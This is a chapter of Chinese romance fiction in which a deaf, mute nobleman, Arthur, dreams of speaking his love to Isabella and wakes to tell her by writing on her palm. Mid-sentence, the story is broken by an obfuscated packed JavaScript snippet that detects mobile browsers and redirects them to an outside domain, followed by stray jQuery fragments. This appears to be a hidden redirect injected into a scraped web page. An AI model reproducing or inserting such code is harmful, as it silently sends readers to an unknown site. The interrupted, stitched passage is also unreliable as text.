雪还在下。厚重的帷幔垂落四周，将世界的寒意严丝合缝地隔绝在外。壁炉的火焰已经熄灭，只剩余烬中一线暗红，仿佛一颗快要冷却的心脏，在沉寂中缓缓搏动。屋内寂静得几乎令人忘记时间的存在。


    亚瑟靠坐在床头，肩头那一小片温暖，来自伊莎贝拉均匀的呼吸。她沉沉地睡着，一只手搭在他胸口，像是为了确认他的存在。她总喜欢这样贴近，他早已习惯她的气息。她身上那股淡淡的玫瑰油香，在火光熄灭之后变得更为柔和，混合着雪夜的寒气，真实得令人心安。


    他的手指缓缓描摹她手背的纹路，指节略显粗糙，却极轻极稳。虽然他无法出声，但这并不妨碍他“说”些什么——至少，对她来说不妨碍。她懂他的沉默，也读得懂他眼神中，那些连手语都无法表达的片段。


    可就在这个雪夜的静谧中，亚瑟忽然感到一丝倦意，一种深沉的、带着沉甸甸体温的疲倦。他阖上眼，让意识如羽毛一般下沉，轻飘飘地坠入一个没有边界的梦境。


    他睡着了。


    梦的开端是无声的，像他过往无数个年岁一般。他独自行走在长廊之中，墙上挂着一排排画框，每一幅画都是一段定格的往昔：父亲压抑而冷漠的目光、母亲带着弟弟远行的背影、他年轻时将伊莎贝拉推开的那一刻……


    这些场景像被冻结的雪花，悬浮在记忆中，不动不响。


    他无声地走着，面无表情，仿佛只是个被回忆操控的影子。


    直到某一刻——风动了。


    真正的风。他竟然“听见”了。


    那是风呼呼穿过长廊的声音，轻飘飘的一声，带着回响，掠过他的耳侧。


    亚瑟猛然站住，四周的空气仿佛获得了重量。他能听见自己的呼吸了——那种久违的、微微颤抖的呼吸声。他屏住气，再次深吸一口，声音更清晰了。他试探着动了动，靴底与石板相接，发出轻微的回响；奔跑的脚步、衣料的摩擦、心跳的频率，全都传入耳中。


    那一刻，他几乎想要放声大哭。


    他奔跑起来，顺着长廊向前，冲向尽头那扇通往旧花园的门。他推开它，眼前是银装素裹的雪地，而他唯一想要找到的人就站在那里。


    伊莎贝拉回过头，对他微微一笑。


    “你终于来了。”她说。


    亚瑟僵在原地。


    ——她说话了。


    ——而他听见了。


    他几乎不敢靠近，生怕只要一伸手，这一切就会碎裂。他张了张嘴，想说点什么，可他的舌头早已被沉默禁锢太久，忘了如何开口。


    伊莎贝拉却温柔地抬手，指尖轻触他的唇角。


    “说吧。”她低语，“你可以的。”


    那声音，如水如丝，真实得几乎像个梦境，却比梦更温柔。


    他缓缓抬起手，轻轻扶住她的肩。他深吸一口气，仿佛要将所有残余的沉默一并吐尽。


    然后，他开口了。


    “伊莎贝拉。”


    他听见了自己的声音。


    低沉、干涩，带着生涩与不确定，像一架久未弹响的古老钢琴。但它真实地存在，响彻于这片静雪之间。


    她笑了，眼眶泛红，扑进他怀里。


    “是的，是我，伊莎贝拉。”她呢喃，声音近得仿佛贴着他的心跳。


    他抱紧她。风雪落在他们肩上，发出“窸窸窣窣”的声音，像梦似的轻响。他不知这是现实还是梦，但他知道，他不会松手。


    在这片雪地上，他们慢慢前行，仿佛回到了那个未曾说出口的冬天。他为她披上围巾，她将冰凉的手塞进他掌心。他们并肩而行，说着笑着。


    他提起他年少时偷看她学习跳舞的场景，说他当时做梦都想做她步入社交界时的第一个舞伴，这让她不禁停下脚步，看着他，眼中映着雪光。


    “天呐，你为什么从来不说？”


    “你知道的，我说不了。”他苦笑，“直到现在。”


    他在偷换概念，但她原谅他。


    “那就一直说下去。”她踮起脚，轻吻他嘴角，“别再沉默。”


    亚瑟将她抱得更紧。一切也变得越发清晰，连她睫毛的轻颤都仿佛触手可及。风穿过他们之间，他却再也听不见外物的声音了。他的世界，只剩她的声音。


    她轻声问：“你听见我了吗？”


    他答：“我听见你了。”


    他们并肩走入了雪林深处。天幕从星辰变为晨曦，一层柔金色雾光洒落下来。


    亚瑟仿佛进入一个完美的世界，他与他的伊莎贝拉可以像所有恋人那样交谈、争吵、倾诉最脆弱的心事，不再用揣测去代替言语。


    “我一直想告诉你。”他轻声说，“你说你要结婚了的那天，我的心都碎了，我几乎想要去死。”


    她没有回答，只是静静地看他，目光清澈如潭。


    “我曾经以为，只要你幸福就好。”他说，“可是你走后我才明白，没有你，我的世界不仅是静的，也是空的。”


    伊莎贝拉叹了口气，像是等待着这句话等了许多许多年。


    “你还想告诉我什么？”她问。


    “你想听吗？”


    “我一直在听。”


    他将掌心贴在她心口：“我想告诉你，从你八岁那年第一次牵我的手起，我就已经是你的人了。”


    她的眼中泛起泪光，却笑着牵起他的手，带他往雪林尽头走去。前方是一间熟悉的小屋，窗前挂着红色天鹅绒帘，屋内透出微光，炉火“噼啪”作响，茶壶咕嘟轻响，像是岁月在呢喃。


    他们推门而入，桌上放着两杯伯爵红茶，一小篮苏格兰饼干，还有一封未封口的信。


    伊莎贝拉坐在火炉前，亚瑟在她身旁落座。


    “读给我听。”她说。


    他展开纸页，念出那封写给她的信，声音微颤，却坚定。


    “亲爱的伊莎贝拉——


    我这一生沉默太久，说出口的话也实在太少。但你若愿意坐在我身边，哪怕我一生只能说这一句，那我也愿用尽所有声音，只为告诉你：我爱你。”


    她望着他，眼中盈满笑意，泪水却终于滑落。


    “再说一次。”她低语。


    他放下信，靠近她的耳边，声音温柔得仿佛一片新落的雪花，轻轻覆在她耳廓上：“我爱你，伊莎贝拉……我是如此的爱你。”


    这句话像是来自于他灵魂最深处的轻鸣，在空气中颤动，在她心上轻敲。


    她闭上眼，倚在他肩头，唇角仍带着未曾散去的笑意，那笑容柔和得像烛火的最后一缕光，轻轻摇曳，却依旧温暖明亮。


    亚瑟紧紧抱着她，仿佛想将这一刻永远封存。他从未如此完整地拥有过她——用声音，用语言，用无法替代的真实感。他甚至开始相信，也许这一切真的不是做梦，而是命运迟来的恩赐。也许上天终于怜悯他，给予他一次“正常”的生命。


    可正当他沉醉其中，脑中却还是开始浮现出了一丝微妙的不对劲。


    他再次低头看她，她的轮廓开始微微模糊起来，像是被太强的光线轻轻溶化，仿佛风中即将化去的雪雕。


    “不——”他急促出声，想要将她从这不真实的溶解中拉回来，却发现自己的声音开始变得迟钝模糊，如同


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169195|179189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    落入水底的回响，一点点消散。


    他猛地意识到——他要醒了。


    “等我。”他喃喃地说，像是在对她，也是对梦境恳求，“请再给我一会儿的时间吧。”


    可梦境的边缘已经崩解，周围的世界如被退潮般抽离。耳边的雪声像被吸走的空气，林间香气逐渐稀薄，连她的体温也仿佛一点一点地从他怀中褪去。他试图抱紧她，可一切已经抓不住了，掌心只剩下一片空白。


    “伊莎贝拉！”他喊得歇斯底里，仿佛用尽了此生所有的声音。


    但她不见了。


    然后，一切静止。


    ——


    他猛然睁开眼。


    天色尚未亮透，屋内仍笼罩在一层幽蓝色的晨光中。壁炉已熄，炉灰堆里埋着昨日的余烬，空气里弥漫着雪后的凉意与淡淡的木柴香。


    他的心跳得极快，额头渗出细密冷汗。双臂依旧紧抱着什么，他低头，那温热的触感仍在。


    伊莎贝拉蜷缩在他怀中，睡得极熟，一只手自然地搭在他胸口，像是无意识地寻求安心。她的发丝贴着他的下巴，呼吸轻缓，体温真实得无法否认——这不是梦。她就在这里。


    他怔怔地望着她良久，梦中的一切还未完全褪去，回荡在脑海中。


    他抬起手，指尖轻轻拂过她的脸颊，描摹她的唇瓣、睫毛、耳垂。他一度以为这触感会像梦境那样，随碰触而消散，可她的温度却牢牢地嵌在他的掌心里。


    至少她的存在并不是梦，他如此想。


    他的未婚妻子，他独一无二的伊莎贝拉。


    她眉间微皱，睫毛颤了一下，随后，缓缓睁开眼，眼神中还带着几分未醒透的迷蒙。


    “怎么了？”她问。


    亚瑟没有立刻回答。他只是对她摇了摇头，眼神仍藏着些许沉在梦境中的情绪，混杂着怀念与不舍。


    他再次听不见了。


    她察觉了他的异常，撑起一点身体，眼神认真地望着他。


    “你是做梦了吗？”她问。


    他点了点头。


    她靠回他怀里，犹豫了一下，还是忍不住问他：“你都梦见了什么？”


    亚瑟望着她的眼睛，像是要从她的瞳孔深处找到现实的锚点。


    他缓慢地抬起双手，一笔一划地打起了手语：“我梦见……我能听见声音，也能正常说话了。”


    伊莎贝拉怔住，片刻后，她的唇角微微扬起，眼神却一下子柔软下来。


    “那你……都说了什么吗？”


    他低头沉思了一瞬，什么也没有对她比划，他就只是牵起她的手，像是在进行一场庄重的仪式。他缓缓在她的掌心写下几个字，每一笔都深深嵌进她掌纹之中：


    ——我爱你，伊莎贝拉。


    一直以来，这都是他唯一想说的话。


    她的眼眶蓦地红了，像是梦中的情绪穿透了现实，与她心底的回应重合，化为此刻无声的震颤。


    她握住他的手，微笑道：“那你以后每天都要在我的手上说一遍，好不好？”


    他怔了一瞬，随后点了点头，眼里尽是他从未有过的坚定与温柔。


    晨光透过窗帘的缝隙洒落进来，像是一层静默流淌的金纱。屋外的雪还未停，天地依旧沉默而洁白，仿佛还留着梦境的余温。


    亚瑟低下头，再一次将他的爱人拥入怀中。


    罢了，罢了。


    他依旧听不见，依旧不能正常发声，那又如何？


    她一直在听，而他也在不久前终于开始学会好好表达他的爱意。


    他的世界，早已不再寂静无声。